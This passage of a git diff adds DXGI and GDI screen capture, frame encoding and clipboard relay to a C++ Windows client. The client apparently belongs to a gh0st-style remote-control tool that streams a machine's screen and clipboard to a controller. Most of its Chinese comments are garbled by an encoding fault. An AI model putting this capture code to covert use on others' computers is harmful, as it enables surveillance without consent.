for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
ULONG ulCount = i - index;
memcpy(pos1, pos2, ulCount); // <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*(LPDWORD)(p) = index + startPostion;
*(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
p += 2 * sizeof(ULONG);
if (channel != 1) {
memcpy(p, pos2, ulCount);
p += ulCount;
}
else {
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
LPBYTE src = (LPBYTE)pos2;
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
}
}
}
return p - szBuffer;
}
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
DWORD ulCompareLength, BYTE algo) {
int N = m_BlockNum;
ULONG blockLength = ulCompareLength / N; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
ULONG remainingLength = ulCompareLength % N; // ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
std::vector<std::future<ULONG>> futures;
for (int blockY = 0; blockY < N; ++blockY) {
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
ULONG startPosition = blockY * blockLength;
futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
LPBYTE srcBlock = srcData + startPosition;
LPBYTE dstBlock = dstData + startPosition;
LPBYTE blockBuffer = m_BlockBuffers[blockY];
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>񲢷<EFBFBD><F1B2A2B7>رȶ<D8B1><C8B6><EFBFBD><EFBFBD>ݴ<EFBFBD>С
return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
}));
}
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ֵ
for (auto& future : futures) {
future.get();
}
// <20>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD>п<EFBFBD><D0BF>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2> szBuffer
ULONG offset = 0;
for (int blockY = 0; blockY < N; ++blockY) {
memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
offset += m_BlockSizes[blockY];
}
return offset; // <20><><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
}
virtual int GetFrameID() const {
return m_FrameID;
}
virtual LPBYTE GetFirstBuffer() const {
return m_FirstBuffer;
}
virtual int GetBMPSize() const {
assert(m_BitmapInfor_Full);
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) {
for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) {
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
}
}
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0);
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
LPBYTE data = m_RectBuffer + 1;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static CCursorInfo m_CursorInfor;
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
LPBYTE nextData = ScanNextScreen();
if (nullptr == nextData) {
// ɨ<><C9A8><EFBFBD><EFBFBD>һ֡ʧ<D6A1><CAA7>Ҳ<EFBFBD><D2B2>Ҫ<EFBFBD><D2AA><EFBFBD>͹<EFBFBD><CDB9><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
*ulNextSendLength = 1 + offset;
return m_RectBuffer;
}
#if SCREENYSPY_IMPROVE
memcpy(data + offset, &++m_FrameID, sizeof(int));
offset += sizeof(int);
#if SCREENSPY_WRITE
WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
#endif
#else
m_FrameID++;
#endif
if (keyFrame)
{
switch (algo)
{
case ALGORITHM_DIFF: {
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
break;
}
case ALGORITHM_GRAY: {
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
break;
}
case ALGORITHM_H264: {
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth,
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
break;
}
default:
break;
}
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
else {
switch (algo)
{
case ALGORITHM_DIFF: case ALGORITHM_GRAY: {
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
break;
}
case ALGORITHM_H264: {
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth,
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
break;
}
default:
break;
}
}
return m_RectBuffer;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
virtual BYTE SetAlgorithm(int algo) {
BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo;
return oldAlgo;
}
// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>ת<EFBFBD><D7AA>
virtual void PointConversion(POINT& pt) const {
if (m_bZoomed) {
pt.x *= m_wZoom;
pt.y *= m_hZoom;
}
}
// <20><>ȡλͼ<CEBB><EFBFBD><E1B9B9>Ϣ
virtual const LPBITMAPINFO& GetBIData() const {
return m_BitmapInfor_Full;
}
public: // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
virtual LPBYTE ScanNextScreen() = 0;
};

196
client/ScreenCapturerDXGI.h Normal file
View File

@@ -0,0 +1,196 @@
#pragma once
#include "stdafx.h"
#include "ScreenCapture.h"
#include "common/commands.h"
// ֻҪ<D6BB>㰲װ<E3B0B2><D7B0> Windows 8 SDK <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE> Windows SDK<44><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD> dxgi1_2.h <20><><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD> Windows 8 <20><><EFBFBD><EFBFBD><EFBFBD>°汾<C2B0><E6B1BE><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>
#include <dxgi1_2.h>
#include <d3d11.h>
#pragma comment(lib, "d3d11.lib")
// author: ChatGPT
// update: 962914132@qq.com
// DXGI 1.2<EFBFBD><EFBFBD>IDXGIOutputDuplication<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>ͳ GDI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD> 10 <20><>֮<EFBFBD><EFBFBD><E4A3AC><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʺ<EFBFBD>ʹ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
class ScreenCapturerDXGI : public ScreenCapture {
private:
ID3D11Device* d3dDevice = nullptr;
ID3D11DeviceContext* d3dContext = nullptr;
IDXGIOutputDuplication* deskDupl = nullptr;
ID3D11Texture2D* cpuTexture = nullptr;
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
m_GOP = gop;
InitDXGI();
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
}
~ScreenCapturerDXGI() {
CleanupDXGI();
SAFE_DELETE_ARRAY(m_FirstBuffer);
SAFE_DELETE_ARRAY(m_NextBuffer);
SAFE_DELETE_ARRAY(m_RectBuffer);
}
void InitDXGI() {
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
IDXGIDevice * dxgiDevice = nullptr;
IDXGIAdapter* dxgiAdapter = nullptr;
IDXGIOutput* dxgiOutput = nullptr;
IDXGIOutput1* dxgiOutput1 = nullptr;
do {
// 2. <20><>ȡ DXGI <20>
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
if(!dxgiDevice)break;
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
dxgiDevice->GetAdapter(&dxgiAdapter);
if (!dxgiAdapter)break;
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
if (!dxgiOutput)break;
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
if (!dxgiOutput1)break;
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
if (!deskDupl)break;
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
DXGI_OUTDUPL_DESC duplDesc;
deskDupl->GetDesc(&duplDesc);
m_ulFullWidth = duplDesc.ModeDesc.Width;
m_ulFullHeight = duplDesc.ModeDesc.Height;
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
D3D11_TEXTURE2D_DESC desc = {};
desc.Width = m_ulFullWidth;
desc.Height = m_ulFullHeight;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
} while (false);
// <20>ͷ<EFBFBD> DXGI <20><>Դ
if (dxgiOutput1) dxgiOutput1->Release();
if (dxgiOutput) dxgiOutput->Release();
if (dxgiAdapter) dxgiAdapter->Release();
if (dxgiDevice) dxgiDevice->Release();
}
bool IsInitSucceed() const {
return cpuTexture;
}
void CleanupDXGI() {
if (cpuTexture) cpuTexture->Release();
if (deskDupl) deskDupl->Release();
if (d3dContext) d3dContext->Release();
if (d3dDevice) d3dDevice->Release();
}
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
if (ret)
return nullptr;
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
return m_FirstBuffer;
}
LPBYTE ScanNextScreen() override {
ULONG ulNextScreenLength = 0;
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
if (ret)
return nullptr;
return m_NextBuffer;
}
virtual LPBYTE GetFirstBuffer() const {
return m_FirstBuffer + 1;
}
private:
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
// 1. <20><>ȡ<EFBFBD><C8A1>һ֡
IDXGIResource* desktopResource = nullptr;
DXGI_OUTDUPL_FRAME_INFO frameInfo;
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
if (FAILED(hr)) {
return -1;
}
// 2. <20><>ȡ ID3D11Texture2D
ID3D11Texture2D* texture = nullptr;
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
if (FAILED(hr)) {
deskDupl->ReleaseFrame();
return -2;
}
// 3. <20><><EFBFBD>Ƶ<EFBFBD> CPU <20><><EFBFBD><EFBFBD>
d3dContext->CopyResource(cpuTexture, texture);
// 4. <20>ͷ<EFBFBD> DXGI <20><>Դ
deskDupl->ReleaseFrame();
texture->Release();
desktopResource->Release();
// 5. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
D3D11_MAPPED_SUBRESOURCE mapped;
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
if (FAILED(hr)) {
return -3;
}
// 6. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ת<EFBFBD><D7AA>
BYTE* pData = (BYTE*)mapped.pData;
int rowSize = m_ulFullWidth * 4; // ÿ<>е<EFBFBD><D0B5>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>RGBA<42><41>
for (int y = 0; y < m_ulFullHeight; y++) {
// <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EABBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3>ӵײ<D3B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
int srcIndex = y * mapped.RowPitch; // Direct3D <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
memcpy(buffer + destIndex, pData + srcIndex, rowSize);
}
// 7. <20><><EFBFBD><EFBFBD>
d3dContext->Unmap(cpuTexture, 0);
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
return 0;
}
};

View File

@@ -12,7 +12,9 @@
#include <WinUser.h>
#endif
#include <time.h>
using namespace std;
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -21,14 +23,58 @@ using namespace std;
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
bool IsWindows8orHigher() {
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (!hMod) return false;
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (!rtlGetVersion) return false;
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (rtlGetVersion(&rovi) == 0) {
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
}
return false;
}
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
m_ScreenSpyObject = new CScreenSpy(16);
int DXGI = 0;
BYTE algo = ALGORITHM_DIFF;
if (!(user == NULL || (int)user == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
delete param;
}
} else {
DXGI = (int)user;
}
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
if ((1==DXGI && IsWindows8orHigher()))
{
auto s = new ScreenCapturerDXGI(algo);
if (s->IsInitSucceed()) {
m_ScreenSpyObject = s;
}
else {
SAFE_DELETE(s);
m_ScreenSpyObject = new CScreenSpy(32, algo);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
}
else
{
m_ScreenSpyObject = new CScreenSpy(32, algo);
}
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}
@@ -36,44 +82,75 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
clock_t last = clock();
This->SendFirstScreen();
const int fps = 10;// ֡<><D6A1>
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
timeBeginPeriod(1);
while (This->m_bIsWorking)
{
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer)
{
int span = sleep-(clock() - last);
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
{
c2 = 0;
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
c1 = 0;
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
delete[] szBuffer;
szBuffer = NULL;
}
}
cout<<"ScreenWorkThread Exit\n";
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
VOID CScreenManager::SendBitMapInfor()
VOID CScreenManager::SendBitMapInfo()
{
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
@@ -83,7 +160,7 @@ VOID CScreenManager::SendBitMapInfor()
CScreenManager::~CScreenManager()
{
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
m_bIsWorking = FALSE;
@@ -93,7 +170,7 @@ CScreenManager::~CScreenManager()
CloseHandle(m_hWorkThread);
}
delete[] m_ScreenSpyObject;
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
}
@@ -145,10 +222,12 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL)
return;
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
SetClipboardData(CF_TEXT, hGlobal);
GlobalFree(hGlobal);
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
@@ -163,7 +242,7 @@ VOID CScreenManager::SendClientClipboard()
::CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
size_t iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
LPBYTE szBuffer = new BYTE[iPacketLength];
@@ -179,30 +258,18 @@ VOID CScreenManager::SendClientClipboard()
VOID CScreenManager::SendFirstScreen()
{
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
if (FirstScreenData == NULL)
ULONG ulFirstSendLength = 0;
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
{
return;
}
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
delete [] szBuffer;
szBuffer = NULL;
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
AUTO_TICK(5);
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL)
@@ -210,14 +277,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
return NULL;
}
ulNextSendLength += 1;
char* szBuffer = new char[ulNextSendLength];
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
return szBuffer;
return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
@@ -227,17 +287,24 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (ulLength % sizeof(MSG) != 0)
return;
int msgSize = sizeof(MSG64);
